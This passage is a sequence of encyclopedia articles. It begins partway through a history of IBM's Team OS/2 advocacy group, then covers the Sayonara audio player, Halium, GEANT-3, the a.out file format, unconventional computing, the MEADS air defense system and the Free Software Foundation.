The forum went viral as increasing numbers of IBMers worldwide began to contribute a wide variety of ideas as to how IBM could effectively compete with Microsoft to establish OS/2 as the industry standard desktop operating system. Within a short time, thousands of IBM employees had added the words TEAMOS2 to their internet phone directory listing, which enabled anyone within IBM to find like-minded OS/2 enthusiasts within the company and work together to overcome the challenges posed by IBM's size, insularity, and top-down marketing style. TEAMOS2 FORUM quickly caught the attention of some IBM executives, including Lee Reiswig and Lucy Baney, who after initial scepticism, offered moral and financial support for Whittle's grass roots and online marketing efforts. IBM's official program for generating word-of-mouth enthusiasm was called the "OS/2 Ambassador Program", where OS/2 enthusiasts company-wide could win Gold, Silver, and Bronze Ambassador pins and corporate recognition with various levels of structured achievement. Both the OS/2 Ambassador Program and Team OS/2 were effective in evangelizing OS/2 within IBM, but only Team OS/2 was effective in generating support for the promotion of OS/2 outside of IBM.
Externalization
Whittle began to extend the Team OS/2 effort outside of IBM with various posts on CompuServe, Prodigy, bulletin boards, newsgroups, and other venues. He also made a proposal to IBM executives, which they eventually implemented when IBM Personal Software Products moved to Austin, Texas, that they form a "Grass Roots Marketing Department".
Team OS/2 went external that spring, when the first Team OS/2 Party was held in Chicago. The IBM Marketing Office in Chicago created a huge banner visible from the streets. Microsoft reacted when Steve Ballmer roamed the floor with an application on diskette that had been specially programmed to crash OS/2; and OS/2 enthusiasts gathered for an evening of excitement at the first Team OS/2 party. Tickets were limited to those who had requested them on one of the online discussion groups. Attendees were asked to nominate their favorite "Teamer" for the "Team OS/2 Hall of Fame", and those whose names were drawn came forward to tell the story of their nominee - what sacrifice they had made to promote OS/2 and why they were deserving of recognition. Prizes included limousine rides that evening. At the end, all attendees received the first TEAM OS/2 T-shirt, which includes the first Team OS/2 logo on the front and the distinctive IBM blue-stripe logo on the back - except with lower-case letters: "ibm/2" to represent the new IBM. Even the lead singer in the band Chicago that had provided music for the event asked if they could have a T-shirt for each member of the band. One IBM executive in attendance said it was the first IBM event that had given him goosebumps.
After that, word about the Team OS/2 phenomenon spread even more quickly, both within IBM and without. OS/2 enthusiasts spread the word to computer user groups across the United States, then eventually worldwide, independently of IBM marketing efforts. Whittle established multiple localized forums within IBM, such as TEAMNY, TEAMDC, TEAMFL, TEAMTX, and TEAMCA, which attracted new supporters and enabled enthusiastic followers to share ideas and success stories, plan events, and creatively apply what they were learning from one another.
The "Teamer Invasion" of COMDEX in the Fall of 1993 was perhaps the high water mark for Team OS/2. COMDEX was, at that time, the most important computer and electronics trade show, held in Las Vegas. Wearing the salmon-colored shirts which were to become associated with Team OS/2, the group's members, led by Doug Azzarito, Keith Wood, Mike Kogan, IBM User Group Manager Gene Barlow, and others wandered the convention floors, promoting OS/2 and providing demo discs to vendors and offering to install the distributed version of OS/2 on display computers. Many Team OS/2 volunteers had traveled to the convention on their own, including some from overseas; so their independence and grass-roots enthusiasm attracted significant attention in the media and amongst exhibitors.
What little funding IBM provided went to provide the shirts, "trinkets and trash", and an onsite headquarters for Teamers to coordinate their efforts and collect items to give to vendors. IBM had established the Grass Roots Marketing department proposed earlier, and had even tapped Vicci Conway and Janet Gobeille to provide support and guidance for Team OS/2 with Whittle voluntarily stepping aside from his previous day-to-day focus on supporting and monitoring Team OS/2 activities. Janet was nicknamed "Team Godmother", but everyone in IBM, especially Whittle, was wary of trying to direct volunteers or make Team OS/2 too structured or formal, in order to avoid "breaking something that works".
According to the Team OS/2 Frequently Asked Questions document, Team OS/2 at one point had a presence (sponsoring members willing to publish their e-mail addresses as points of contact) in Argentina, Australia, Austria, Belgium, Canada, Denmark, Germany, Ireland, Japan, Latvia, the Netherlands, Portugal, Singapore, South Africa, Spain, Sweden, Switzerland, and the United Kingdom; as well as online on America Online, CompuServe, Delphi, FidoNet, Genie, the Internet/Usenet/mail servers, Prodigy, and WWIVNet.
Analysis
In an article analyzing Team OS/2 and its meaning and context, Robert L. Scheier listed several of the factors that led to the success of the group. These included the creation of a strong group identity with a powerful name, corporate support without corporate direction, the ability of volunteer members to do things that companies couldn't do, keeping it "loose" and relatively unstructured, providing lots of smaller material rewards without compensation, and listening to team members as if they were the "eyes and ears of the public."
However, Team OS/2's very lack of structure left it vulnerable. Various journalists have documented a "dirty tricks" campaign by Microsoft. Online, numerous individuals (nicknamed "Microsoft Munchkins" by John C. Dvorak) used pseudonyms to attack OS/2 and manipulate online discussions. Whittle was the target of a widespread online character assassination campaign.
Some journalists who were less than enthusiastic about OS/2 received death threats and other nasty emails from numerous sources, identified in taglines as "Team OS/2" without a name. Whether this attack pattern was part of Microsoft's efforts or from Team OS/2, the identity was never proven. Ultimately, at least some of Microsoft's efforts were exposed on Will Zachmann's Canopus forum on CompuServe, where the owner of one particular account, ostensibly belonging to "Steve Barkto", (who had been attacking OS/2, David Barnes, Whittle, and other OS/2 fans) was discovered to be funded by the credit card of Rick Segal, a high-level Microsoft employee and evangelist, who had also been active in the forums. James Fallows, a nationally renowned journalist, weighed in to state that the stylistic fingerprint found in the Barkto posts were almost certainly a match with the stylistic fingerprints in the Microsoft evangelist's postings.
Will Zachmann sent an open letter to Steve Ballmer, futilely demanding a public investigation into the business practices of the publicly traded Microsoft.
Decline
At the height of the marketing effort, Team OS/2 consisted of more than ten thousand known members, and countless undocumented members. IBM acknowledged publicly that without Team OS/2, there might not have been a fourth generation ("Warp 4") of the operating system. However, the IBM Marketing Director over the Grass Roots Marketing Department made the decision to meet his headcount cut targets by eliminating the entire department - one week before the 1995 Fall Comdex. Microsoft executives were said to be positively gleeful and Team OS/2 members worldwide were said to be incredulous.
Within months, Whittle and Barlow had left IBM, Conway and Gobeille were reassigned within IBM, and Teamers were crushed by IBM's announcement that the marketing of individual desktop versions would come to a close. Most Team members eventually migrated away from OS/2 to Linux, which offered the power and stability which they had come to expect from OS/2, and where much of what was learned with Team OS/2 inspired at least some in the Linux and Open Source movements.
Legacy
Microsoft attempted to fabricate "Team NT" for COMDEX Fall 1995, but this was widely ridiculed as a blatant attempt at impersonation. "Team NT" members were Microsoft employees, and called "Team Nice Try" by industry pundits such as Spencer F. Katt (a pen name with various contributors, such as Paul Connolly), in PCWeek Magazine.
When Microsoft was readying the first version of Windows NT (designated "Version 3.1") in 1993, a Texas computer user group (HAL-PC) invited IBM and Microsoft to a public "shootout" between the two operating systems. Videotape of the two demonstrations was later distributed by IBM and Team OS/2 members. Compared to the dynamic presentation given by David Barnes as he put OS/2 through its paces, the Microsoft presenter and NT showed so poorly that Microsoft demanded that all portions of the NT presentation be cut out of the videotapes which IBM was distributing of the event. This resulted in issuance of an edited version of the tape, but hundreds of original (complete) copies had already been released. The uncut version of the "OS/2 - NT Shootout" tape have been dubbed the "OS/2 - NT Shootdown" or "The Shootdown of Flight 31". The tape has been used to train professional software and hardware presenters who might face user groups.
See also
Operating system advocacy
References
OS/2
Operating system advocacy
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62150718
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https://en.wikipedia.org/wiki/Sayonara%20Player
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Sayonara Player
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The Sayonara Player is an audio software player for Linux and BSD.
History
Its developer, Michael Lugmair, used the Qt widget toolkit as well as the multimedia framework GStreamer, to develop the player. Sayonara is free software under the GPL-3.0-or-later license.
Characteristics
Installation
Sayonara can typically be installed under Linux with the distribution-specific package management. For some Linux distributions, including Ubuntu and Fedora, installation instructions are available on the website of the player. The package is listed in the Arch Linux repository.
User interface
The Sayonara player has a graphical user interface. A dark mode is included in the skin. The window is divided into the player itself, where controls, track data and the cover can be seen, the playlist, and the music library. The library is structured as follows: Either a tabular listing of artists and albums or a cover view. Sayonara can manage several playlists.
Database
Large music collections can be managed in one or more databases. The database reads most common tag fields including the rating tag. The results of a search query are displayed either as quickly as possible during entering or after confirmation with the enter key.
Scope of functions
Some functions of the player are:
Music playback with Crossfader and Equalizer
Frequency spectrum and level display
Music database with search function, cover display and genre filter
Management of several databases
Management of multiple playlists
Last.fm Scrobbling: Automatic addition of songs to the playlist
Access to web streams and podcasts
Cover display: support for integrated covers and online services
Metadata Editor
Display of lyrics (retrievable from different web services)
Player available in various languages
References
Audio player software for Linux
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59716129
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https://en.wikipedia.org/wiki/Halium
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Halium
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Halium is a collaborative project to unify the Hardware Abstraction Layer for projects which run Linux on mobile devices with pre-installed Android. The project aims to standardize the middleware software used by various projects to talk with android daemons and make use of hardware on installed devices. It is distributed as free and open-source software under a mix of software licenses.
History
The project was announced on 2017 and tried to pool developers from UBports, Sailfish OS community developers, LuneOS project, KDE Plasma Mobile contributors, among other developers to put an end to the fragmentation seen in their respective projects and achieve new goals jointly.
Features
The project has a planning with an overall idea which stack includes the following:
Linux kernel
Android HAL
Sensors
Camera
RILd
Libhybris
Android HAL interfaces like Audioflingerglue and droidmedia
Build system and scripts
GPS - AGPS from Mozilla
Pulseaudio
Media codecs
oFono
See also
Anbox – a compatibility layer that allow mobile applications and games developed for Android to run on Linux
Android rooting
Linux for mobile devices
postmarketOS – replacement Linux-based OS for Android devices
List of custom Android firmware
LineageOS
Replicant – a completely free software variant of LineageOS, with all kernel blobs and non-free drivers removed
/e/ (operating system)
Comparison of mobile operating systems
List of open-source mobile phones
References
External links
Halium Documentation
Halium Official Telegram Group
Android (operating system)
Android forks
ARM operating systems
Capability systems
Custom Android firmware
Embedded Linux distributions
Embedded operating systems
Free mobile software
Free software operating systems
Mobile Linux
Smartphones
Software forks
Tablet operating systems
Upcoming software
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1686598
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https://en.wikipedia.org/wiki/GEANT-3
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GEANT-3
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GEANT is the name of a series of simulation software designed to describe the passage of elementary particles through matter, using Monte Carlo methods. The name is an acronym formed from "GEometry ANd Tracking". Originally developed at CERN for high energy physics experiments, GEANT-3 has been used in many other fields.
History
The very first version of GEANT dates back to 1974, while the first version of GEANT-3 dates back to 1982. Versions of GEANT through 3.21 were written in FORTRAN and eventually maintained as part of CERNLIB. Since about 2000, the last FORTRAN release has been essentially in stasis and receives only occasional bug fixes. GEANT3 was, however, still in use by some experiments for some time thereafter. Most of GEANT-3 is available under the GNU General Public License, with the exception of some hadronic interaction code contributed by the FLUKA collaboration.
GEANT-3 was used by a majority of high energy physics experiments from the late 1980s to the early 2000s. The largest experiments using were three of the experiments at the Large Electron-Positron collider, including ALEPH, L3 and OPAL. It was also a key tool in the design and optimization of the detectors of all experiments at the Large Hadron Collider (LHC) – see e.g. the ATLAS Technical Design Report. GEANT-3.21 based programs remained main simulation engine of ATLAS, CMS and LHCb at LHC until 2004, when these experiments moved to Geant4-based simulations. Even in 2019 it remains the primary simulation tool for the ALICE experiment at the LHC.
A related (but separate) product is Geant4 (when referring to this version, the name is typically no longer capitalized). It is a complete rewrite in C++ with a modern object-oriented design. Geant4 was developed by the RD44 collaboration in 1994–1998 and is being maintained and improved now by the Geant4 international collaboration. For quite some time Geant4 did not have a clearly defined software license. As of version 8.1 (released June 30, 2006) this omission has been remedied. Geant4 is now available under the Geant4 Software License.
See also
EGS (program)
CLHEP and FreeHEP, libraries for high energy physics
References
External links
Geant4 publicly accessible webpage
GEANT webpage at CERN (only available to CERN users)
Free software programmed in Fortran
Monte Carlo particle physics software
Physics software
CERN software
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2885358
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https://en.wikipedia.org/wiki/A.out
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A.out
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a.out is a file format used in older versions of Unix-like computer operating systems for executables, object code, and, in later systems, shared libraries. This is an abbreviated form of "assembler output", the filename of the output of Ken Thompson's PDP-7 assembler. The term was subsequently applied to the format of the resulting file to contrast with other formats for object code.
"a.out" remains the default output file name for executables created by certain compilers and linkers when no output name is specified, even though the created files actually are not in the a.out format.
History
An a.out format for the PDP-7, similar to the a.out format used on the PDP-11, appeared in the first edition of UNIX.
It was superseded by the COFF format in AT&T Unix System V, which was in turn superseded by the ELF format in System V Release 4.
Though Berkeley Unix continued using the a.out format for some time, modern BSD-systems have since switched to ELF. NetBSD/i386 switched formally from a.out to ELF in its 1.5 release (Dec. 2000). FreeBSD/i386 switched to ELF during the 2.2 to 3.0 transition (Oct. 1998).
MINIX 3 switched to ELF in the 3.2.0 release.
Linux also used a.out until kernel 1.2 (Mar. 1995), when it was superseded by ELF for that platform as well. ELF support was added in the experimental 1.1.52 kernel. Linux's transition to ELF was more or less forced due to the complex nature of building a.out shared libraries on that platform, which included the need to register the virtual address space at which the library was located with a central authority, as the a.out ld.so in Linux was unable to relocate shared libraries.
The various BSD flavors were able to continue using a.out binaries long after Linux was forced to switch to ELF, due to the somewhat more flexible nature of the BSD a.out format compared to that of Linux. The a.out file format on Linux was deprecated with the release of the 5.1 Linux kernel.
Use
Linking
Debugging
The a.out support for debug information is done through the use of special entries in the symbol table called stabs. The stabs format has also been used in many COFF and ELF variations.
See also
Comparison of executable file formats
Portable Executable
References
External links
a.out manual page for Version 6 Unix
a.out manual page for 2.11BSD
a.out manual page for FreeBSD
Executable file formats
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3925795
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https://en.wikipedia.org/wiki/Unconventional%20computing
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Unconventional computing
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Unconventional computing is computing by any of a wide range of new or unusual methods. It is also known as alternative computing.
The term of "unconventional computation" was coined by Cristian S. Calude and John Casti and used at the "First International Conference on Unconventional Models of Computation", held in Auckland, New Zealand in 1998.
Background
The general theory of computation allows for a variety of models. Historically, however, computing technology first developed using mechanical methods, and eventually evolved into using electronic techniques, which remain the state-of-the-art. Further development may require development of new technologies.
Computational model
Mechanical computing
Historically, mechanical computers were used in industry before the advent of the transistor.
Mechanical computers retain some interest today both in research and as analogue computers. Some mechanical computers have a theoretical or didactic relevance, such as billiard-ball computers, while hydraulic ones like the MONIAC or the Water integrator were used effectively.
While some are actually simulated, others are not. No attempt is made to build a functioning computer through the mechanical collisions of billiard balls. The domino computer is another theoretically interesting mechanical computing scheme.
Electronic digital computers
Most modern computers are electronic computers with the Von Neumann architecture based on digital electronics, with extensive integration made possible following the invention of the transistor and the scaling of Moore's law.
Unconventional computing is, according to a conference description, "an interdisciplinary research area with the main goal to enrich or go beyond the standard models, such as the Von Neumann computer architecture and the Turing machine, which have dominated computer science for more than half a century". These methods model their computational operations based on non-standard paradigms, and are currently mostly in the research and development stage.
This computing behavior can be "simulated" using the classical silicon-based micro-transistors or solid state computing technologies, but aim to achieve a new kind of computing.
Generic approaches
These are unintuitive and pedagogical examples that a computer can be made out of almost anything.
Physical objects
Reservoir computing
Reservoir computing is a computational framework in the context of machine learning. The main advantage of this unconventional computing framework is that it facilitates a simple and fast learning algorithm in addition to a hardware implementation, known as a physical reservoir computer. After the input signal is fed into the reservoir, which is treated as a "black box," a simple readout mechanism is trained to read the state of the reservoir and map it to the desired output.
Tangible computing
Human computing
Physics approaches
Optical computing
Optical computing uses light to compute.
Spintronics
Atomtronics
Fluidics
Fluid Computing is a method of computing that uses a fluid, such as liquids or inert gases, in order to create logic elements. This can be applied in both analog and digital methods.
Quantum computing
Quantum computing, perhaps the most well-known and developed unconventional computing method, is characterized by the use of quantum superposition in order to perform functions similar to that of a standard computer.
Chemistry approaches
Molecular computing
Biochemistry approaches
Peptide computing
DNA computing
Membrane computing
Biological approaches
Neuroscience
Some biological approaches are heavily inspired by the behavior of neurons. This method of calculation has achieved limited success, most notably in 1999, where a simple neurocomputer was created by William Ditto of the Georgia Institute of Technology.
Cellular automata and amorphous computing
Mathematical approaches
Analog computing
Analog computing, widely regarded as the simplest method of computing, relies on the mechanical motion of objects in order to create logical outputs. A simple example would be a mechanical calculator, that relies on a series of wheels and gears in order to add numbers of different values, compared to a digital computer that uses a series of transistors and electronic signals utilizing binary logic.
Ternary computing
Ternary computing is a type of computing that uses ternary logic (instead of binary logic).
Reversible computing
Chaos computing
Stochastic computing
See also
Network computing (disambiguation)
WDR paper computer
MONIAC hydraulic computer
References
Classes of computers
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1034730
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https://en.wikipedia.org/wiki/Medium%20Extended%20Air%20Defense%20System
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Medium Extended Air Defense System
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The Medium Extended Air Defense System (MEADS) is a ground-mobile air and missile defense system intended to replace the Patriot missile system through a NATO-managed development. The program is a development of the United States, Germany and Italy.
MEADS is designed to address the shortcomings of fielded systems and to permit full interoperability between U.S. and allied forces. Germany chose MEADS to replace their MIM-104 Patriot systems in June 2015.
Description
MEADS provides ground-mobile air and missile defense with expanded coverage. The system provides enhanced force protection against a broad array of third-dimension threats. Improved interoperability, mobility, and full 360-degree defense capability against the evolving threat represent are key aspects. MEADS is the first air and missile defense (AMD) system that provides continuous on-the-move protection for maneuver forces. MEADS also provides area defense, homeland defense, and weighted asset protection.
MEADS incorporates the Lockheed Martin hit-to-kill PAC-3 Missile Segment Enhancement (MSE) missile in a system including 360-degree surveillance and fire control sensors, netted-distributed tactical operations centers, and lightweight launchers. A single MEADS battery is able to defend up to 8 times the area of a Patriot battery through use of advanced 360-degree sensors, near-vertical launch capability, and the longer-range PAC-3 MSE missile. The MEADS radars – using active phased arrays and digital beam forming – enable full use of the PAC-3 MSE missile's extended range.
Truck-mounted MEADS elements drive or roll on and off C-130 and A400M transport aircraft so they are quickly deployed to a theater of operations. Because MEADS uses fewer system assets, it permits a substantial reduction in deployed personnel and equipment. MEADS reduces demand for airlift, so it can deploy to theater faster.
The minimum MEADS engagement capability requires only one launcher, one battle manager, and one fire control radar to provide 360-degree defense of troops or critical assets. As more system elements arrive, they automatically and seamlessly join the MEADS network and build out capability.
The prime contractor, MEADS International, is a multinational joint venture headquartered in Orlando, Florida. Its participating companies are MBDA Italia, MBDA Deutschland GmbH, and Lockheed Martin. The company initially won a competitive downselect to develop the MEADS system in 1999, but the program could not be started because the losing competitor filed two successive suits. In 2001, a $216 million Risk Reduction Effort contract was awarded to incorporate a new interceptor approach. In May 2005, MEADS International signed a definitized contract valued at $2 billion plus €1.4 billion for MEADS design and development. This development contract was completed in 2014. The U.S. funded 58 percent of the MEADS Design and Development program, with European partners Germany and Italy providing 25 percent and 17 percent respectively.
The German Bundeswehr completed an analysis of air defense alternatives in 2010 and strongly recommended MEADS as the basis for improving Germany's missile defense shield and as Germany's contribution to the European Phased Adaptive Approach. In February 2011, the U.S. Department of Defense announced that it intended to fulfill its commitment to complete the design and development effort, but that it would not procure the MEADS system for budgetary reasons. Lockheed Martin developed an interactive life cycle cost and capabilities application based on their Dynamic Comparative Analysis Methodology (DCAM) approach to more fully evaluate and communicate the performance and cost advantage of MEADS as compared to alternative systems. The DCAM application further reinforced the value of MEADS and is credited with helping ensure continued funding.
In October 2011, the National Armaments Directors of Germany, Italy, and the U.S. approved a contract amendment to fund two flight intercept tests, a launcher/missile characterization test, and a sensor characterization test conducted to complete the planned development scope.
In September 2013, MEADS received operating certification for its Mode 5 Identification Friend or Foe (IFF) system. Mode 5 is more secure and provides positive line-of-sight identification of friendly platforms equipped with an IFF transponder to better protect allied forces.
In June 2015, MEADS was selected as the basis for the German Taktisches Luftverteidigungssystem (TLVS), a new generation of air and missile defense that requires flexible architecture based on strong networking capabilities. MEADS was a candidate for Poland's Wisła medium range air defense system procurement, but was eliminated in June 2014 when competition was downselected to the US Patriot system and the French/Italian SAMP/T system. However, Lockheed Martin began renewed discussions with the Polish Ministry of Defense in February 2016 leading to a formal request for information in September 2016. MEADS remains a candidate for Poland's Narew short range air defense system procurement.
Major equipment items
The MEADS air and missile defense system is composed of six major equipment items. The MEADS radars, battle manager, and launchers are designed for high reliability so that the system will be able to maintain sustained operations much longer than legacy systems, resulting in overall lower operation and support costs.
Multifunction Fire Control Radar (MFCR) An X-band, solid-state, phased array radar using element-level transmit/receive modules developed in Germany. The MMIC is supplied by the Selex Sistemi Integrati foundry in Rome.The photonics foundry in Rome supplies LiNbO3 components for the radar. The active electronically scanned array (AESA) radar provides precision tracking and wideband discrimination and classification capabilities. For extremely rapid deployments, the MEADS MFCR can provide both surveillance and fire control capabilities until a surveillance radar joins the network. The MFCR uses its main beam for uplink and downlink missile communications. An advanced Mode 5 identification friend-or-foe subsystem supports improved threat identification and typing.
Surveillance Radar (SR) The UHF MEADS Surveillance Radar is a 360-degree active electronically steered array radar that provides extended range coverage. It provides threat detection capability against highly maneuverable low-signature threats, including short- and medium-range ballistic missiles, cruise missiles, and other air-breathing threats.
Battle Management, Command, Control, Communications, Computers, and Intelligence (BMC4I) Tactical Operations Center (TOC) The MEADS TOC controls an advanced network-centric open architecture that allows any combination of sensors and launchers to be organized into a single air and missile defense battle element. The system is netted and distributed. Every MEADS battle manager, radar, and launcher is a wireless node on the network. By virtue of multiple communications paths, the network can be expanded or contracted as the situation dictates and precludes single point failure if one node becomes inoperable. It also has a plug-and-fight capability that allows MEADS launchers and radars to seamlessly enter and leave the network without shutting it down and interrupting ongoing operations. MEADS uses open, non-proprietary standardized interfaces to extend plug-and-fight to non-MEADS elements. This flexibility is new for ground-based AMD systems.
Launcher and Reloader The lightweight MEADS launcher is easily transportable, tactically mobile, and capable of rapid reload. It carries up to eight PAC-3 Missile Segment Enhancement (MSE) Missiles and achieves launch readiness in minimum time. A MEADS reloader is similar but lacks launcher electronic systems.
Certified Missile Round (PAC-3 Missile Segment Enhancement and canister) The PAC-3 Missile Segment Enhancement (MSE) missile is the baseline interceptor for MEADS. The interceptor increases the system's range and lethality over the baseline PAC-3 missile, which was selected as the primary missile for MEADS when the design and development program began in 2004. The MSE missile increases the engagement envelope and defended area by using more responsive control surfaces and a more powerful rocket motor.In Germany, the PAC-3 MSE missile is expected to be supplemented by IRIS-T SLS as secondary missile for ground-based medium range air defense. It is based on the IRIS-T air-to-air missile. The shorter range IRIS-T SLS system uses unmodified IRIS-T air-to-air missiles launched from standard LAU-7 aircraft launchers, four of which are mounted onto an all-terrain launch vehicle, while the medium-range IRIS-T SL missile is equipped with an enlarged rocket motor, datalink, and jettisonable drag-reducing nose cone.
Plug-and-fight
In the BMC4I TOC, plug-and-fight flexibility lets MEADS exchange data with non-MEADS sensors and shooters. The same capability lets MEADS move with ground forces and interoperate with allied forces. Through interoperability features designed into the system, MEADS will dramatically improve combat effectiveness and situational awareness, reducing the possibility of friendly fire incidents. MEADS system elements can seamlessly integrate into each nation's, or NATO's, combat architecture as required.
Units can be dispersed over a wide area. Command and control of launchers and missiles can be handed over to a neighboring battle management unit while the initial systems are moved, maintaining maneuver force protection. Plug-and-fight connectivity lets MEADS elements attach to and detach from the network at will, with no requirement to shut the system down.
The MEADS plug-and-fight capability enables command and control over other air and missile defense system elements through open, non-proprietary standardized interfaces. MEADS implements a unique ability to work with secondary missile systems if selected, and to evolve as other capabilities are developed.
Integration and test history
In July 2010, the MEADS BMC4I demonstrated its interoperability with the NATO Air Command and Control System (ACCS) during tests using the Active Layer Theatre Ballistic Missile Defense (ALTBMD) Integration Test Bed being developed by NATO. The test was an early maturity demonstration for the MEADS BMC4I capability.
In August 2010, the MEADS program completed an extensive series of Critical Design Review (CDR) events with a Summary CDR at MEADS International. Reviewers from Germany, Italy, the U.S., and the NATO Medium Extended Air Defense System Management Agency (NAMEADSMA) evaluated the MEADS design criteria in a comprehensive series of 47 reviews.
In December 2010, the first MEADS launcher and Tactical Operations Center were displayed in ceremonies in Germany and Italy before initiating system integration tests at Pratica di Mare Air Force Base in Italy.
In November 2011, it was announced that the MEADS Multifunction Fire Control Radar had been integrated with a MEADS TOC and launcher at Pratica di Mare Air Force Base. The objectives of the integration test series were to demonstrate that the MEADS TOC could control the MEADS MFCR in coordination with the MEADS Launcher as initial operational proof of the plug-and-fight capability. The MFCR demonstrated key functionalities including 360-degree target acquisition and track using both dedicated flights and other air traffic. Then, at White Sands Missile Range, MEADS demonstrated a first-ever over-the-shoulder launch of the PAC-3 MSE missile against a simulated target attacking from behind. It required a unique sideways maneuver, demonstrating a 360-degree capability. The missile executed a planned self-destruct sequence at the end of the mission after successfully engaging the simulated threat.
In November 2012 at White Sands Missile Range, MEADS detected, tracked, intercepted, and destroyed an air-breathing target in an intercept flight test. The test configuration included a networked MEADS Tactical Operations Center, lightweight launcher firing a PAC-3 MSE, and a 360-degree MEADS Multifunction Fire Control Radar, which tracked the MQM-107 target and guided the missile to a successful intercept.
Several progress milestones were demonstrated during 2013, culminating in a 360-degree dual-intercept test that went beyond initial contract objectives. In April, the MEADS Surveillance Radar acquired and tracked a small test aircraft and relayed its location to a MEADS TOC, which generated cue search commands. The MFCR, in full 360-degree rotating mode, searched the cued area, acquired the target, and established a dedicated track.
In June 2013, during six days of testing, MEADS demonstrated network interoperability with NATO systems during Joint Project Optic Windmill (JPOW) exercises. MEADS demonstrated battle management capability to transmit, receive, and process Link 16 messages and to conduct threat engagements.
In November 2013, MEADS intercepted and destroyed two simultaneous targets attacking from opposite directions during a stressing demonstration of its 360-degree AMD capabilities at White Sands Missile Range, New Mexico. All elements of the MEADS system were tested, including the 360-degree MEADS Surveillance Radar, a networked MEADS battle manager, two lightweight launchers firing PAC-3 Missile Segment Enhancement (MSE) Missiles and a 360-degree MEADS Multifunction Fire Control Radar (MFCR). The flight test achieved all criteria for success.
The first target, a QF-4 air-breathing target, approached from the south as a Lance missile, flying a tactical ballistic missile trajectory, attacked from the north. The Surveillance Radar acquired both targets and provided target cues to the MEADS battle manager, which generated cue commands for the MFCR. The MFCR tracked both targets successfully and guided missiles from launchers in the Italian and German configurations to successful intercepts.
At White Sands Missile Range, Lockheed Martin and Northrop Grumman also demonstrated plug-and-fight connectivity between MEADS and the U.S. Army's Integrated Battle Command System (IBCS). IBCS demonstrated ability to plug-and-fight a 360-degree MEADS Surveillance Radar and Multifunction Fire Control Radar.
In July 2014, MEADS completed a comprehensive system demonstration at Pratica di Mare Air Base, Italy. The tests, including operational demonstrations run by German and Italian military personnel, were designed to seamlessly add and subtract system elements under representative combat conditions, and to blend MEADS with other systems in a larger system architecture. All criteria for success were achieved.
During the test, plug-and-fight capability to rapidly attach and control an external Italian deployable air defense radar was demonstrated. Also demonstrated was engage-on-remote flexibility, which allows operators to target threats at greater distances despite being masked by terrain. Through reassigning workload, MEADS demonstrated ability to maintain defense capabilities if any system element is lost or fails.
Interoperability with German and Italian air defense assets was demonstrated through exchange of standardized NATO messages. Italian air-defense assets were integrated into a test bed at an Italian national facility, while the Surface to Air Missile Operations Centre and Patriot assets were integrated into a test bed at the German Air Force Air Defense Center in Fort Bliss, Texas. MEADS further demonstrated capability to perform engagement coordination with other systems, which fielded system are unable to do.
In September 2014, MEADS MFCRs completed a six-week performance test at Pratica di Mare Air Base, Italy, and MBDA Deutschland's air defense center in Freinhausen. During the tests, the MEADS MFCR successfully demonstrated several advanced capabilities, many of which are critical for ground-mobile radar systems. Capabilities tested include tracking and canceling of jamming signals; searching, cueing and tracking in ground clutter; and successfully classifying target data using kinematic information.
On 9 June 2015, Defense Minister Ursula von der Leyen announced that Germany had selected MEADS as the foundation for its Taktisches Luftverteidigungssystem (TVLS), which is planned to replace Germany's Patriot systems. In January 2017, MEADS International presented an updated offer for Poland's medium-range air defense (Wisła) program to Poland's Ministry of National Defense.
See also
Missile defense
S-300VM missile system
S-400 missile system
S-500 missile system - Next-generation Russian anti-ballistic missile
Ground-Based Midcourse Defense - U.S. anti-ballistic missile system
Active electronically scanned array – an active electronically scanned array radar is a type of phased array radar whose transmitter and receiver functions are composed of numerous small solid-state transmit/receive modules (TRMs)
Plug-and-fight – ability of system elements to attach to and detach from the network at will, with no requirement to shut the system down.
LFK NG – new air defense missile of the German Army
MANTIS – the very short-range protection system of the German Army within the "SysFla" program.
NASAMS – air defense system using the AIM-120 AMRAAM, developed by Norway.
Type 3 Chū-SAM
References
External links
MEADS International website – MEADS program website
MBDA product page – German and Italian contractors
Lockheed Martin product page – U.S. contractor
IRIS-T SL/SLS – Further information on the IRIS-T SL/SLS missile by German manufacturer Diehl BGT.
Missile defense
Anti-ballistic missiles of the United States
Anti-ballistic missiles of Germany
21st-century surface-to-air missiles
Surface-to-air missiles of Germany
Post–Cold War weapons of Germany
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18949437
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https://en.wikipedia.org/wiki/Free%20Software%20Foundation
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Free Software Foundation
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The Free Software Foundation (FSF) is a 501(c)(3) non-profit organization founded by Richard Stallman on October 4, 1985, to support the free software movement, which promotes the universal freedom to study, distribute, create, and modify computer software, with the organization's preference for software being distributed under copyleft ("share alike") terms, such as with its own GNU General Public License. The FSF was incorporated in Boston, Massachusetts, US, where it is also based.
From its founding until the mid-1990s, FSF's funds were mostly used to employ software developers to write free software for the GNU Project. Since the mid-1990s, the FSF's employees and volunteers have mostly worked on legal and structural issues for the free software movement and the free software community.
Consistent with its goals, the FSF aims to use only free software on its own computers.
History
The Free Software Foundation was founded in 1985 as a non-profit corporation supporting free software development. It continued existing GNU projects such as the sale of manuals and tapes, and employed developers of the free software system. Since then, it has continued these activities, as well as advocating for the free software movement. The FSF is also the steward of several free software licenses, meaning it publishes them and has the ability to make revisions as needed.
The FSF holds the copyrights on many pieces of the GNU system, such as GNU Compiler Collection. As holder of these copyrights, it has the authority to enforce the copyleft requirements of the GNU General Public License (GPL) when copyright infringement occurs on that software.
From 1991 until 2001, GPL enforcement was done informally, usually by Stallman himself, often with assistance from FSF's lawyer, Eben Moglen. Typically, GPL violations during this time were cleared up by short email exchanges between Stallman and the violator. In the interest of promoting copyleft assertiveness by software companies to the level that the FSF was already doing, in 2004 Harald Welte launched gpl-violations.org.
In late 2001, Bradley M. Kuhn (then executive director), with the assistance of Moglen, David Turner, and Peter T. Brown, formalized these efforts into FSF's GPL Compliance Labs. From 2002–2004, high-profile GPL enforcement cases, such as those against Linksys and OpenTV, became frequent.
GPL enforcement and educational campaigns on GPL compliance was a major focus of the FSF's efforts during this period.
In March 2003, SCO filed suit against IBM alleging that IBM's contributions to various free software, including FSF's GNU, violated SCO's rights. While FSF was never a party to the lawsuit, FSF was subpoenaed on November 5, 2003. During 2003 and 2004, FSF put substantial advocacy effort into responding to the lawsuit and quelling its negative impact on the adoption and promotion of free software.
From 2003 to 2005, FSF held legal seminars to explain the GPL and the surrounding law. Usually taught by Bradley M. Kuhn and Daniel Ravicher, these seminars offered CLE credit and were the first effort to give formal legal education on the GPL.
In 2007, the FSF published the third version of the GNU General Public License after significant outside input.
